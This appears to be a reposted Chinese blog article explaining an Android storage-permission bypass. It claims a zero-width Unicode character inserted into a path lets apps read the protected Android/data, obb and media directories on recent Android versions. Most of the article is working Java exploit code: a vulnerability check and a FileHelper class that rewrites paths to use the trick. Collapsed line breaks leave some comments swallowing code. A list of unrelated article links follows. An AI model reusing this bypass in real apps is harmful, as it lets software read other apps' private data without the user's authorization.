当前位置: 首页 > news >正文

Android无需授权直接访问Android/data目录漏洞

从android11开始,访问/sdcard/Android/data目录需要URI授权,而从更高的版本开始甚至URI权限也被收回,返回“无法使用此文件夹”的提示,这里提供一种方法,可以越权强制访问data目录,当然也包括obb、media等目录,方法就是利用andoird文件提权漏洞。

漏洞原理:利用\u200b这个unicode字符构造一个文件别名,但实际指向的仍然是目标文件,由于这个字符是零宽度,所以系统会将其不可见字符过滤掉,判断为合规文件,从而绕过系统媒体权限

验证机制,实现了像常规访问文件一样访问data目录,目前这个bug在android15下实测仍然有效。

//获取Android/data下的所有文件
File dataDir = new File("/sdcard/android/\u200bdata");
File[] files = dataDir.listFiles();
if (ContextCompat.checkSelfPermission(this, Manifest.permission.READ_EXTERNAL_STORAGE) != PackageManager.PERMISSION_GRANTED) {//如果没有存储权限,先去申请return;
}File dataDir = new File("/sdcard/android/\u200bdata");if (dataDir.canRead()) {//存在漏洞,直接访问其中的文件
}
import android.os.Build;
import android.os.Environment;
import java.io.File;
import java.io.IOException;public class FileHelper {/*** 是否存在该漏洞,判断前要先获取存储权限** @return*/public static boolean canAccessDataDir() {if (Build.VERSION.SDK_INT < 30) {//android10及以下return new File("/sdcard/android/data").canRead();} else {File dataDir = new File("/sdcard/android/\u200bdata");return dataDir.canRead();}}/*** 是否是/sdcard/android目录** @param dir* @return*/public static boolean isAndroidDir(File dir) {File rootDir = Environment.getExternalStorageDirectory();if (rootDir == null) return false;try {File canFile = dir.getCanonicalFile();if (canFile.getPath().toLowerCase().equals(rootDir.getPath().toLowerCase() + "/android")) {return true;}} catch (Exception e) {e.printStackTrace();}return false;}private static String getAndroidPath() {File rootDir = Environment.getExternalStorageDirectory();if (rootDir == null) {return null;}return rootDir.getPath() + "/Android/";}/*** 获取android目录子文件** @param file* @return*/public static File getReviseFromAndroid(File file) {return new File(file.getParentFile(), "\u200b" + file.getName());}/*** 获取修正过的文件** @param file* @return*/public static File getReviseFile(File file) {if (Build.VERSION.SDK_INT < 30) return file;if (file == null) {return null;}String androidPath = getAndroidPath();if (androidPath != null) {String canPath = getCanonicalPath(file);//Log.i("WALX_SPY", canPath + ", " + androidPath);if (canPath.length() > androidPath.length() && canPath.toLowerCase().startsWith(androidPath.toLowerCase())) {return new File(androidPath + "\u200b" + canPath.substring(androidPath.length()));}}return file;}private static String getCanonicalPath(File file) {//file.getCanonicalPath(); //不能直接使用if (file == null) return null;String path = null;try {path = file.getCanonicalPath();} catch (IOException e) {e.printStackTrace();}final String sdcard = "/sdcard/";if (path == null) path = file.getAbsolutePath();if (path.length() > sdcard.length() && path.toLowerCase().startsWith(sdcard)) {String androidPath = getAndroidPath();if (androidPath != null) {path = androidPath + path.substring(sdcard.length());}}return path;}/*** 获取修正过的文件** @param path* @return*/public static File getReviseFile(String path) {return path == null ? null : getReviseFile(new File(path));}/*** 获取修正过的路径** @param path* @return*/public static String getRevisePath(String path) {File file = getReviseFile(path);return file == null ? null : file.getAbsolutePath();}
}

http://www.lryc.cn/news/593118.html

相关文章:

  • 开启你的专属智能时代:枫清科技个人智能体限时体验计划上线!
  • 网络基础DAY13-NAT技术
  • 嵌入式学习-PyTorch(9)-day25
  • Tomcat 生产 40 条军规:容量规划、调优、故障演练与安全加固
  • Linux:lvs集群技术
  • steam游戏搬砖项目超完整版实操分享
  • 6-大语言模型—预训练:数据处理
  • HOT100——排序篇Leetcode215. 数组中的第K个最大元素
  • LVS工作模式和算法的总结
  • 相角补偿全通滤波器设计:相位均衡(0~350Hz,15°超前)
  • 《YOLOv13魔术师专栏》全景指南:从理论到工业级实战
  • 计算机网络——IPv4(25王道最新版)
  • python的第三方库的基本运用
  • RISC采用的3种流水技术的功能和区别分析
  • Xss-labs 1-8以及利用python自动sq8注入
  • 定时器与间歇函数
  • 【C++】入门阶段
  • 时序数据库选型实战:Apache IoTDB技术深度解析
  • UniApp 优化实践:使用常量统一管理本地存储 Key,提升可维护性
  • 一站式PDF转Markdown解决方案PDF3MD
  • MyBatis动态SQL实战:告别硬编码,拥抱智能SQL生成
  • 【iOS】编译和链接、动静态库及dyld的简单学习
  • JMeter 元件使用详解
  • k8s快速部署(亲测无坑)
  • Jmeter系列(7)-线程组
  • uniapp相关地图 API调用
  • 考研复习-数据结构-第七章-查找
  • 考研408《计算机组成原理》复习笔记,第三章(5)——磁盘存储器
  • UniApp 自定义导航栏:解决安全区域适配问题的完整实践
  • 基于springboot的考研互助小程序